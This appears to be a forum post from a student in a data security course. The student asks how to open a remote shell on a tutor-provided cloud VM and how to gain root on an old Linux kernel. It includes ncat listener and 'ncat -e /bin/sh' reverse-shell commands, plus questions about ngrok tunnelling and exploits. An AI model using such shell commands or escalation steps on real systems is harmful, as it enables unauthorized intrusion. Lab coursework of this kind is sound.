Hello world!
In one of the college courses named “Data security and risk” we are learning about open shells and protect host against foreign instruction. So, we order to open a remote shell with ncat command in a cloud virtual machine(created by tutors) who doesn’t fund on the same network, open a shell and later gives some recomendation. In order to fullfill this task, I used the command ncat -lvp 200***** 225(Ipv4 adreses) 443 and return me the following message: ncat: establish conection to 200*****225 Great! But when I executed the shell with ncat -e /bin/sh 443 the conection dont open the shell.
I’m confident that the target is outside the home network. So the best recomended option is ngrok. But I dont know how can be useful for me nor to use it. Anyone can explain me how to open the shell in the target?
The vm os is a linux distribution that use linux kernel 4.4x(probably ubuntu 16.04 and Debian) does anyone know how to gain root access like to open a terminal shell and execute commands in terminal?
The profesor told me that I had to set a exploit or a buffer in vm to gain access. How can I do this?
Pd: The vm has a nginx server for if worth for something
Thanks.
